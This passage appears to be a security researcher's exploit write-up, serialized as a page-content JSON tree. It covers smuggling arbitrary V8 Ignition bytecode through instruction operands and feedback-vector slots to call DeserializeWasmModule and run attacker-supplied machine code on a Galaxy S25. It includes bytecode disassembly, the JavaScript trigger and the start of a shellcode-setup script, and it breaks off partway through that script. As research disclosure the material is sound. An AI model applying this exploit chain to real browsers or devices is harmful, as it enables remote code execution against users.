LdaTrue;\n",[132870],{"type":23,"tag":209,"props":132871,"children":132872},{"__ignoreMap":7},[132873],{"type":28,"value":132868},{"type":23,"tag":24,"props":132875,"children":132876},{},[132877,132879,132885,132887,132891],{"type":28,"value":132878},"(The offset of ",{"type":23,"tag":209,"props":132880,"children":132882},{"className":132881},[],[132883],{"type":28,"value":132884},"Jump",{"type":28,"value":132886}," instructions is added to the ",{"type":23,"tag":87,"props":132888,"children":132889},{},[132890],{"type":28,"value":71144},{"type":28,"value":132892}," of the instruction.)",{"type":23,"tag":24,"props":132894,"children":132895},{},[132896,132898,132904],{"type":28,"value":132897},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":209,"props":132899,"children":132901},{"className":132900},[],[132902],{"type":28,"value":132903},"LdaSmi.ExtraWide",{"type":28,"value":132905}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":9693,"props":132907,"children":132909},{"id":132908},"exploit-goal",[132910],{"type":28,"value":132911},"Exploit Goal",{"type":23,"tag":24,"props":132913,"children":132914},{},[132915,132917,132923,132924,132930],{"type":28,"value":132916},"Initially we considered using ",{"type":23,"tag":209,"props":132918,"children":132920},{"className":132919},[],[132921],{"type":28,"value":132922},"Star",{"type":28,"value":4675},{"type":23,"tag":209,"props":132925,"children":132927},{"className":132926},[],[132928],{"type":28,"value":132929},"Ldar",{"type":28,"value":132931}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":24,"props":132933,"children":132934},{},[132935,132937,132944],{"type":28,"value":132936},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":36,"props":132938,"children":132941},{"href":132939,"rel":132940},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[40],[132942],{"type":28,"value":132943},"stack pivot and ROP",{"type":28,"value":132945},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":24,"props":132947,"children":132948},{},[132949],{"type":28,"value":132950},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":24,"props":132952,"children":132953},{},[132954],{"type":28,"value":132955},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":24,"props":132957,"children":132958},{},[132959,132961,132967,132969,132975,132977,132983],{"type":28,"value":132960},"At this point, we identified an interesting opcode: ",{"type":23,"tag":209,"props":132962,"children":132964},{"className":132963},[],[132965],{"type":28,"value":132966},"CallRuntime",{"type":28,"value":132968},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":209,"props":132970,"children":132972},{"className":132971},[],[132973],{"type":28,"value":132974},"--allow-natives-syntax",{"type":28,"value":132976}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":209,"props":132978,"children":132980},{"className":132979},[],[132981],{"type":28,"value":132982},"DeserializeWasmModule",{"type":28,"value":124},{"type":23,"tag":24,"props":132985,"children":132986},{},[132987,132989,132996,132997,133002,133003,133009,133011,133018],{"type":28,"value":132988},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":23,"tag":36,"props":132990,"children":132993},{"href":132991,"rel":132992},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[40],[132994],{"type":28,"value":132995},"JIT-compiled functions",{"type":28,"value":18583},{"type":23,"tag":209,"props":132998,"children":133000},{"className":132999},[],[133001],{"type":28,"value":132982},{"type":28,"value":4675},{"type":23,"tag":209,"props":133004,"children":133006},{"className":133005},[],[133007],{"type":28,"value":133008},"SerializeWasmModule",{"type":28,"value":133010}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":36,"props":133012,"children":133015},{"href":133013,"rel":133014},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[40],[133016],{"type":28,"value":133017},"removed",{"type":28,"value":133019}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":24,"props":133021,"children":133022},{},[133023,133025,133031,133033,133039,133041,133046,133048,133054,133056,133061,133062,133067,133068,133073,133075,133081,133083,133087],{"type":28,"value":133024},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":209,"props":133026,"children":133028},{"className":133027},[],[133029],{"type":28,"value":133030},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":28,"value":133032},"\nWhere ",{"type":23,"tag":209,"props":133034,"children":133036},{"className":133035},[],[133037],{"type":28,"value":133038},"func-id",{"type":28,"value":133040}," is a 2-byte function ID, ",{"type":23,"tag":209,"props":133042,"children":133044},{"className":133043},[],[133045],{"type":28,"value":38285},{"type":28,"value":133047}," is the index of the last register passed and ",{"type":23,"tag":209,"props":133049,"children":133051},{"className":133050},[],[133052],{"type":28,"value":133053},"argc",{"type":28,"value":133055}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":209,"props":133057,"children":133059},{"className":133058},[],[133060],{"type":28,"value":44431},{"type":28,"value":424},{"type":23,"tag":209,"props":133063,"children":133065},{"className":133064},[],[133066],{"type":28,"value":44574},{"type":28,"value":1466},{"type":23,"tag":209,"props":133069,"children":133071},{"className":133070},[],[133072],{"type":28,"value":44557},{"type":28,"value":133074}," would be encoded as ",{"type":23,"tag":209,"props":133076,"children":133078},{"className":133077},[],[133079],{"type":28,"value":133080},"\u003Cr2> \u003C3>",{"type":28,"value":133082},").\nThis requires ",{"type":23,"tag":87,"props":133084,"children":133085},{},[133086],{"type":28,"value":18159},{"type":28,"value":133088}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":9693,"props":133090,"children":133092},{"id":133091},"better-bytecode-control",[133093],{"type":28,"value":133094},"Better Bytecode Control",{"type":23,"tag":24,"props":133096,"children":133097},{},[133098,133100,133107,133109,133115],{"type":28,"value":133099},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":36,"props":133101,"children":133104},{"href":133102,"rel":133103},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[40],[133105],{"type":28,"value":133106},"feedback vector slot",{"type":28,"value":133108},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":209,"props":133110,"children":133112},{"className":133111},[],[133113],{"type":28,"value":133114},"AddSmi",{"type":28,"value":133116}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":24,"props":133118,"children":133119},{},[133120],{"type":28,"value":133121},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":202,"props":133123,"children":133125},{"code":133124},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[133126],{"type":23,"tag":209,"props":133127,"children":133128},{"__ignoreMap":7},[133129],{"type":28,"value":133124},{"type":23,"tag":24,"props":133131,"children":133132},{},[133133,133135,133141],{"type":28,"value":133134},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":209,"props":133136,"children":133138},{"className":133137},[],[133139],{"type":28,"value":133140},"AddSmi.ExtraWide",{"type":28,"value":133142},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":24,"props":133144,"children":133145},{},[133146],{"type":28,"value":133147},"Eventually, we can reach a stage like this:",{"type":23,"tag":202,"props":133149,"children":133151},{"code":133150},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[133152],{"type":23,"tag":209,"props":133153,"children":133154},{"__ignoreMap":7},[133155],{"type":28,"value":133150},{"type":23,"tag":24,"props":133157,"children":133158},{},[133159],{"type":28,"value":133160},"If you skip the first two bytes, you have",{"type":23,"tag":168,"props":133162,"children":133163},{},[133164,133195],{"type":23,"tag":135,"props":133165,"children":133166},{},[133167,133172,133174,133179,133181,133187,133189],{"type":23,"tag":209,"props":133168,"children":133170},{"className":133169},[],[133171],{"type":28,"value":132966},{"type":28,"value":133173}," (0x6c) to ",{"type":23,"tag":209,"props":133175,"children":133177},{"className":133176},[],[133178],{"type":28,"value":132982},{"type":28,"value":133180}," (0x0266) starting from register ",{"type":23,"tag":209,"props":133182,"children":133184},{"className":133183},[],[133185],{"type":28,"value":133186},"a2",{"type":28,"value":133188}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":209,"props":133190,"children":133192},{"className":133191},[],[133193],{"type":28,"value":133194},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":135,"props":133196,"children":133197},{},[133198],{"type":28,"value":133199},"a Jump instruction",{"type":23,"tag":9693,"props":133201,"children":133203},{"id":133202},"returning-back-to-js",[133204],{"type":28,"value":133205},"Returning Back to JS",{"type":23,"tag":24,"props":133207,"children":133208},{},[133209,133211,133217],{"type":28,"value":133210},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":209,"props":133212,"children":133214},{"className":133213},[],[133215],{"type":28,"value":133216},"yield",{"type":28,"value":133218}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":24,"props":133220,"children":133221},{},[133222],{"type":28,"value":133223},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":202,"props":133225,"children":133227},{"code":133226,"language":31421,"meta":7,"className":31419,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[133228],{"type":23,"tag":209,"props":133229,"children":133230},{"__ignoreMap":7},[133231,133242,133290,133311,133327,133350,133378,133395],{"type":23,"tag":213,"props":133232,"children":133233},{"class":215,"line":216},[133234,133238],{"type":23,"tag":213,"props":133235,"children":133236},{"style":1362},[133237],{"type":28,"value":48383},{"type":23,"tag":213,"props":133239,"children":133240},{"style":220},[133241],{"type":28,"value":1375},{"type":23,"tag":213,"props":133243,"children":133244},{"class":215,"line":226},[133245,133250,133254,133259,133263,133268,133272,133277,133281,133285],{"type":23,"tag":213,"props":133246,"children":133247},{"style":268},[133248],{"type":28,"value":133249}," $",{"type":23,"tag":213,"props":133251,"children":133252},{"style":220},[133253],{"type":28,"value":76671},{"type":23,"tag":213,"props":133255,"children":133256},{"style":246},[133257],{"type":28,"value":133258},"'a1 + 0xa931111;'",{"type":23,"tag":213,"props":133260,"children":133261},{"style":220},[133262],{"type":28,"value":124},{"type":23,"tag":213,"props":133264,"children":133265},{"style":257},[133266],{"type":28,"value":133267},"repeat",{"type":23,"tag":213,"props":133269,"children":133270},{"style":220},[133271],{"type":28,"value":265},{"type":23,"tag":213,"props":133273,"children":133274},{"style":514},[133275],{"type":28,"value":133276},"0x059302",{"type":23,"tag":213,"props":133278,"children":133279},{"style":274},[133280],{"type":28,"value":51308},{"type":23,"tag":213,"props":133282,"children":133283},{"style":514},[133284],{"type":28,"value":4618},{"type":23,"tag":213,"props":133286,"children":133287},{"style":220},[133288],{"type":28,"value":133289},")}\n",{"type":23,"tag":213,"props":133291,"children":133292},{"class":215,"line":524},[133293,133298,133302,133307],{"type":23,"tag":213,"props":133294,"children":133295},{"style":268},[133296],{"type":28,"value":133297}," a1",{"type":23,"tag":213,"props":133299,"children":133300},{"style":274},[133301],{"type":28,"value":8989},{"type":23,"tag":213,"props":133303,"children":133304},{"style":514},[133305],{"type":28,"value":133306}," 0x0402666c",{"type":23,"tag":213,"props":133308,"children":133309},{"style":220},[133310],{"type":28,"value":313},{"type":23,"tag":213,"props":133312,"children":133313},{"class":215,"line":533},[133314,133318,133323],{"type":23,"tag":213,"props":133315,"children":133316},{"style":1362},[133317],{"type":28,"value":35259},{"type":23,"tag":213,"props":133319,"children":133320},{"style":514},[133321],{"type":28,"value":133322}," 0x393e91a",{"type":23,"tag":213,"props":133324,"children":133325},{"style":220},[133326],{"type":28,"value":313},{"type":23,"tag":213,"props":133328,"children":133329},{"class":215,"line":543},[133330,133334,133338,133342,133346],{"type":23,"tag":213,"props":133331,"children":133332},{"style":220},[133333],{"type":28,"value":46925},{"type":23,"tag":213,"props":133335,"children":133336},{"style":1362},[133337],{"type":28,"value":48463},{"type":23,"tag":213,"props":133339,"children":133340},{"style":220},[133341],{"type":28,"value":400},{"type":23,"tag":213,"props":133343,"children":133344},{"style":268},[133345],{"type":28,"value":51507},{"type":23,"tag":213,"props":133347,"children":133348},{"style":220},[133349],{"type":28,"value":14870},{"type":23,"tag":213,"props":133351,"children":133352},{"class":215,"line":551},[133353,133357,133361,133365,133369,133374],{"type":23,"tag":213,"props":133354,"children":133355},{"style":268},[133356],{"type":28,"value":101997},{"type":23,"tag":213,"props":133358,"children":133359},{"style":220},[133360],{"type":28,"value":124},{"type":23,"tag":213,"props":133362,"children":133363},{"style":257},[133364],{"type":28,"value":102006},{"type":23,"tag":213,"props":133366,"children":133367},{"style":220},[133368],{"type":28,"value":265},{"type":23,"tag":213,"props":133370,"children":133371},{"style":246},[133372],{"type":28,"value":133373},"\"foo\"",{"type":23,"tag":213,"props":133375,"children":133376},{"style":220},[133377],{"type":28,"value":2867},{"type":23,"tag":213,"props":133379,"children":133380},{"class":215,"line":570},[133381,133386,133391],{"type":23,"tag":213,"props":133382,"children":133383},{"style":1362},[133384],{"type":28,"value":133385}," yield",{"type":23,"tag":213,"props":133387,"children":133388},{"style":268},[133389],{"type":28,"value":133390}," a16",{"type":23,"tag":213,"props":133392,"children":133393},{"style":220},[133394],{"type":28,"value":313},{"type":23,"tag":213,"props":133396,"children":133397},{"class":215,"line":655},[133398],{"type":23,"tag":213,"props":133399,"children":133400},{"style":220},[133401],{"type":28,"value":1208},{"type":23,"tag":24,"props":133403,"children":133404},{},[133405,133407],{"type":28,"value":133406},"Starting from the final ",{"type":23,"tag":209,"props":133408,"children":133410},{"className":133409},[],[133411],{"type":28,"value":133114},{"type":23,"tag":202,"props":133413,"children":133415},{"code":133414}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[133416],{"type":23,"tag":209,"props":133417,"children":133418},{"__ignoreMap":7},[133419],{"type":28,"value":133414},{"type":23,"tag":24,"props":133421,"children":133422},{},[133423,133425,133430,133432,133438],{"type":28,"value":133424},"The smuggled jump in ",{"type":23,"tag":209,"props":133426,"children":133428},{"className":133427},[],[133429],{"type":28,"value":133114},{"type":28,"value":133431}," will redirect us to ",{"type":23,"tag":209,"props":133433,"children":133435},{"className":133434},[],[133436],{"type":28,"value":133437},"1a e9 93 03",{"type":28,"value":133439},", which results in:",{"type":23,"tag":168,"props":133441,"children":133442},{},[133443,133454],{"type":23,"tag":135,"props":133444,"children":133445},{},[133446,133452],{"type":23,"tag":209,"props":133447,"children":133449},{"className":133448},[],[133450],{"type":28,"value":133451},"Star r16",{"type":28,"value":133453}," (store accumulator to r16)",{"type":23,"tag":135,"props":133455,"children":133456},{},[133457,133462],{"type":23,"tag":209,"props":133458,"children":133460},{"className":133459},[],[133461],{"type":28,"value":132884},{"type":28,"value":133463}," past the throw into the catch relevant code",{"type":23,"tag":24,"props":133465,"children":133466},{},[133467,133469,133475],{"type":28,"value":133468},"This will bring us nicely to the final ",{"type":23,"tag":209,"props":133470,"children":133472},{"className":133471},[],[133473],{"type":28,"value":133474},"yield a16",{"type":28,"value":133476},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":9693,"props":133478,"children":133480},{"id":133479},"executing-shellcode",[133481],{"type":28,"value":133482},"Executing Shellcode",{"type":23,"tag":24,"props":133484,"children":133485},{},[133486],{"type":28,"value":133487},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":202,"props":133489,"children":133491},{"code":133490,"language":35673,"meta":7,"className":35671,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[133492],{"type":23,"tag":209,"props":133493,"children":133494},{"__ignoreMap":7},[133495,133525,133752,133820,133827,133872,133918,133958,133965,133989,134026,134062],{"type":23,"tag":213,"props":133496,"children":133497},{"class":215,"line":216},[133498,133502,133507,133511,133515,133520],{"type":23,"tag":213,"props":133499,"children":133500},{"style":230},[133501],{"type":28,"value":35104},{"type":23,"tag":213,"props":133503,"children":133504},{"style":268},[133505],{"type":28,"value":133506}," wasm_code",{"type":23,"tag":213,"props":133508,"children":133509},{"style":274},[133510],{"type":28,"value":511},{"type":23,"tag":213,"props":133512,"children":133513},{"style":230},[133514],{"type":28,"value":31989},{"type":23,"tag":213,"props":133516,"children":133517},{"style":257},[133518],{"type":28,"value":133519}," Uint8Array",{"type":23,"tag":213,"props":133521,"children":133522},{"style":220},[133523],{"type":28,"value":133524},"([\n",{"type":23,"tag":213,"props":133526,"children":133527},{"class":215,"line":226},[133528,133533,133537,133542,133546,133551,133555,133560,133564,133568,133572,133576,133580,133584,133588,133592,133596,133600,133604,133608,133612,133616,133620,133625,133629,133633,133637,133641,133645,133649,133653,133657,133661,133665,133669,133673,133677,133681,133685,133689,133693,133697,133701,133705,133709,133713,133717,133722,133726,133731,133735,133740,133744,133748],{"type":23,"tag":213,"props":133529,"children":133530},{"style":514},[133531],{"type":28,"value":133532}," 0",{"type":23,"tag":213,"props":133534,"children":133535},{"style":220},[133536],{"type":28,"value":424},{"type":23,"tag":213,"props":133538,"children":133539},{"style":514},[133540],{"type":28,"value":133541},"97",{"type":23,"tag":213,"props":133543,"children":133544},{"style":220},[133545],{"type":28,"value":424},{"type":23,"tag":213,"props":133547,"children":133548},{"style":514},[133549],{"type":28,"value":133550},"115",{"type":23,"tag":213,"props":133552,"children":133553},{"style":220},[133554],{"type":28,"value":424},{"type":23,"tag":213,"props":133556,"children":133557},{"style":514},[133558],{"type":28,"value":133559},"109",{"type":23,"tag":213,"props":133561,"children":133562},{"style":220},[133563],{"type":28,"value":424},{"type":23,"tag":213,"props":133565,"children":133566},{"style":514},[133567],{"type":28,"value":4106},{"type":23,"tag":213,"props":133569,"children":133570},{"style":220},[133571],{"type":28,"value":424},{"type":23,"tag":213,"props":133573,"children":133574},{"style":514},[133575],{"type":28,"value":4116},{"type":23,"tag":213,"props":133577,"children":133578},{"style":220},[133579],{"type":28,"value":424},{"type":23,"tag":213,"props":133581,"children":133582},{"style":514},[133583],{"type":28,"value":4116},{"type":23,"tag":213,"props":133585,"children":133586},{"style":220},[133587],{"type":28,"value":424},{"type":23,"tag":213,"props":133589,"children":133590},{"style":514},[133591],{"type":28,"value":4116},{"type":23,"tag":213,"props":133593,"children":133594},{"style":220},[133595],{"type":28,"value":424},{"type":23,"tag":213,"props":133597,"children":133598},{"style":514},[133599],{"type":28,"value":4106},{"type":23,"tag":213,"props":133601,"children":133602},{"style":220},[133603],{"type":28,"value":424},{"type":23,"tag":213,"props":133605,"children":133606},{"style":514},[133607],{"type":28,"value":17578},{"type":23,"tag":213,"props":133609,"children":133610},{"style":220},[133611],{"type":28,"value":424},{"type":23,"tag":213,"props":133613,"children":133614},{"style":514},[133615],{"type":28,"value":4106},{"type":23,"tag":213,"props":133617,"children":133618},{"style":220},[133619],{"type":28,"value":424},{"type":23,"tag":213,"props":133621,"children":133622},{"style":514},[133623],{"type":28,"value":133624},"96",{"type":23,"tag":213,"props":133626,"children":133627},{"style":220},[133628],{"type":28,"value":424},{"type":23,"tag":213,"props":133630,"children":133631},{"style":514},[133632],{"type":28,"value":4116},{"type":23,"tag":213,"props":133634,"children":133635},{"style":220},[133636],{"type":28,"value":424},{"type":23,"tag":213,"props":133638,"children":133639},{"style":514},[133640],{"type":28,"value":4116},{"type":23,"tag":213,"props":133642,"children":133643},{"style":220},[133644],{"type":28,"value":424},{"type":23,"tag":213,"props":133646,"children":133647},{"style":514},[133648],{"type":28,"value":17346},{"type":23,"tag":213,"props":133650,"children":133651},{"style":220},[133652],{"type":28,"value":424},{"type":23,"tag":213,"props":133654,"children":133655},{"style":514},[133656],{"type":28,"value":3221},{"type":23,"tag":213,"props":133658,"children":133659},{"style":220},[133660],{"type":28,"value":424},{"type":23,"tag":213,"props":133662,"children":133663},{"style":514},[133664],{"type":28,"value":4106},{"type":23,"tag":213,"props":133666,"children":133667},{"style":220},[133668],{"type":28,"value":424},{"type":23,"tag":213,"props":133670,"children":133671},{"style":514},[133672],{"type":28,"value":4116},{"type":23,"tag":213,"props":133674,"children":133675},{"style":220},[133676],{"type":28,"value":424},{"type":23,"tag":213,"props":133678,"children":133679},{"style":514},[133680],{"type":28,"value":54724},{"type":23,"tag":213,"props":133682,"children":133683},{"style":220},[133684],{"type":28,"value":424},{"type":23,"tag":213,"props":133686,"children":133687},{"style":514},[133688],{"type":28,"value":55938},{"type":23,"tag":213,"props":133690,"children":133691},{"style":220},[133692],{"type":28,"value":424},{"type":23,"tag":213,"props":133694,"children":133695},{"style":514},[133696],{"type":28,"value":4106},{"type":23,"tag":213,"props":133698,"children":133699},{"style":220},[133700],{"type":28,"value":424},{"type":23,"tag":213,"props":133702,"children":133703},{"style":514},[133704],{"type":28,"value":18159},{"type":23,"tag":213,"props":133706,"children":133707},{"style":220},[133708],{"type":28,"value":424},{"type":23,"tag":213,"props":133710,"children":133711},{"style":514},[133712],{"type":28,"value":133550},{"type":23,"tag":213,"props":133714,"children":133715},{"style":220},[133716],{"type":28,"value":424},{"type":23,"tag":213,"props":133718,"children":133719},{"style":514},[133720],{"type":28,"value":133721},"104",{"type":23,"tag":213,"props":133723,"children":133724},{"style":220},[133725],{"type":28,"value":424},{"type":23,"tag":213,"props":133727,"children":133728},{"style":514},[133729],{"type":28,"value":133730},"101",{"type":23,"tag":213,"props":133732,"children":133733},{"style":220},[133734],{"type":28,"value":424},{"type":23,"tag":213,"props":133736,"children":133737},{"style":514},[133738],{"type":28,"value":133739},"108",{"type":23,"tag":213,"props":133741,"children":133742},{"style":220},[133743],{"type":28,"value":424},{"type":23,"tag":213,"props":133745,"children":133746},{"style":514},[133747],{"type":28,"value":133739},{"type":23,"tag":213,"props":133749,"children":133750},{"style":220},[133751],{"type":28,"value":944},{"type":23,"tag":213,"props":133753,"children":133754},{"class":215,"line":524},[133755,133759,133763,133767,133771,133775,133779,133783,133787,133791,133795,133799,133803,133807,133811,133816],{"type":23,"tag":213,"props":133756,"children":133757},{"style":514},[133758],{"type":28,"value":133532},{"type":23,"tag":213,"props":133760,"children":133761},{"style":220},[133762],{"type":28,"value":424},{"type":23,"tag":213,"props":133764,"children":133765},{"style":514},[133766],{"type":28,"value":4116},{"type":23,"tag":213,"props":133768,"children":133769},{"style":220},[133770],{"type":28,"value":424},{"type":23,"tag":213,"props":133772,"children":133773},{"style":514},[133774],{"type":28,"value":89306},{"type":23,"tag":213,"props":133776,"children":133777},{"style":220},[133778],{"type":28,"value":424},{"type":23,"tag":213,"props":133780,"children":133781},{"style":514},[133782],{"type":28,"value":17578},{"type":23,"tag":213,"props":133784,"children":133785},{"style":220},[133786],{"type":28,"value":424},{"type":23,"tag":213,"props":133788,"children":133789},{"style":514},[133790],{"type":28,"value":4106},{"type":23,"tag":213,"props":133792,"children":133793},{"style":220},[133794],{"type":28,"value":424},{"type":23,"tag":213,"props":133796,"children":133797},{"style":514},[133798],{"type":28,"value":3221},{"type":23,"tag":213,"props":133800,"children":133801},{"style":220},[133802],{"type":28,"value":424},{"type":23,"tag":213,"props":133804,"children":133805},{"style":514},[133806],{"type":28,"value":4116},{"type":23,"tag":213,"props":133808,"children":133809},{"style":220},[133810],{"type":28,"value":424},{"type":23,"tag":213,"props":133812,"children":133813},{"style":514},[133814],{"type":28,"value":133815},"11",{"type":23,"tag":213,"props":133817,"children":133818},{"style":220},[133819],{"type":28,"value":944},{"type":23,"tag":213,"props":133821,"children":133822},{"class":215,"line":533},[133823],{"type":23,"tag":213,"props":133824,"children":133825},{"style":220},[133826],{"type":28,"value":3840},{"type":23,"tag":213,"props":133828,"children":133829},{"class":215,"line":543},[133830,133834,133838,133842,133846,133851,133855,133859,133863,133868],{"type":23,"tag":213,"props":133831,"children":133832},{"style":230},[133833],{"type":28,"value":35104},{"type":23,"tag":213,"props":133835,"children":133836},{"style":268},[133837],{"type":28,"value":71677},{"type":23,"tag":213,"props":133839,"children":133840},{"style":274},[133841],{"type":28,"value":511},{"type":23,"tag":213,"props":133843,"children":133844},{"style":230},[133845],{"type":28,"value":31989},{"type":23,"tag":213,"props":133847,"children":133848},{"style":268},[133849],{"type":28,"value":133850}," WebAssembly",{"type":23,"tag":213,"props":133852,"children":133853},{"style":220},[133854],{"type":28,"value":124},{"type":23,"tag":213,"props":133856,"children":133857},{"style":257},[133858],{"type":28,"value":85972},{"type":23,"tag":213,"props":133860,"children":133861},{"style":220},[133862],{"type":28,"value":265},{"type":23,"tag":213,"props":133864,"children":133865},{"style":268},[133866],{"type":28,"value":133867},"wasm_code",{"type":23,"tag":213,"props":133869,"children":133870},{"style":220},[133871],{"type":28,"value":2867},{"type":23,"tag":213,"props":133873,"children":133874},{"class":215,"line":551},[133875,133879,133884,133888,133892,133896,133900,133905,133909,133914],{"type":23,"tag":213,"props":133876,"children":133877},{"style":230},[133878],{"type":28,"value":35104},{"type":23,"tag":213,"props":133880,"children":133881},{"style":268},[133882],{"type":28,"value":133883}," inst",{"type":23,"tag":213,"props":133885,"children":133886},{"style":274},[133887],{"type":28,"value":511},{"type":23,"tag":213,"props":133889,"children":133890},{"style":230},[133891],{"type":28,"value":31989},{"type":23,"tag":213,"props":133893,"children":133894},{"style":268},[133895],{"type":28,"value":133850},{"type":23,"tag":213,"props":133897,"children":133898},{"style":220},[133899],{"type":28,"value":124},{"type":23,"tag":213,"props":133901,"children":133902},{"style":257},[133903],{"type":28,"value":133904},"Instance",{"type":23,"tag":213,"props":133906,"children":133907},{"style":220},[133908],{"type":28,"value":265},{"type":23,"tag":213,"props":133910,"children":133911},{"style":268},[133912],{"type":28,"value":133913},"mod",{"type":23,"tag":213,"props":133915,"children":133916},{"style":220},[133917],{"type":28,"value":2867},{"type":23,"tag":213,"props":133919,"children":133920},{"class":215,"line":570},[133921,133925,133929,133933,133937,133941,133945,133949,133954],{"type":23,"tag":213,"props":133922,"children":133923},{"style":230},[133924],{"type":28,"value":35104},{"type":23,"tag":213,"props":133926,"children":133927},{"style":268},[133928],{"type":28,"value":80062},{"type":23,"tag":213,"props":133930,"children":133931},{"style":274},[133932],{"type":28,"value":511},{"type":23,"tag":213,"props":133934,"children":133935},{"style":268},[133936],{"type":28,"value":133883},{"type":23,"tag":213,"props":133938,"children":133939},{"style":220},[133940],{"type":28,"value":124},{"type":23,"tag":213,"props":133942,"children":133943},{"style":268},[133944],{"type":28,"value":37944},{"type":23,"tag":213,"props":133946,"children":133947},{"style":220},[133948],{"type":28,"value":124},{"type":23,"tag":213,"props":133950,"children":133951},{"style":268},[133952],{"type":28,"value":133953},"shell",{"type":23,"tag":213,"props":133955,"children":133956},{"style":220},[133957],{"type":28,"value":313},{"type":23,"tag":213,"props":133959,"children":133960},{"class":215,"line":655},[133961],{"type":23,"tag":213,"props":133962,"children":133963},{"emptyLinePlaceholder":18},[133964],{"type":28,"value":530},{"type":23,"tag":213,"props":133966,"children":133967},{"class":215,"line":1176},[133968,133972,133977,133981,133985],{"type":23,"tag":213,"props":133969,"children":133970},{"style":274},[133971],{"type":28,"value":56441},{"type":23,"tag":213,"props":133973,"children":133974},{"style":257},[133975],{"type":28,"value":133976},"WasmTierUpFunction",{"type":23,"tag":213,"props":133978,"children":133979},{"style":220},[133980],{"type":28,"value":265},{"type":23,"tag":213,"props":133982,"children":133983},{"style":268},[133984],{"type":28,"value":76353},{"type":23,"tag":213,"props":133986,"children":133987},{"style":220},[133988],{"type":28,"value":2867},{"type":23,"tag":213,"props":133990,"children":133991},{"class":215,"line":1202},[133992,133996,134001,134005,134010,134014,134018,134022],{"type":23,"tag":213,"props":133993,"children":133994},{"style":230},[133995],{"type":28,"value":35104},{"type":23,"tag":213,"props":133997,"children":133998},{"style":268},[133999],{"type":28,"value":134000}," 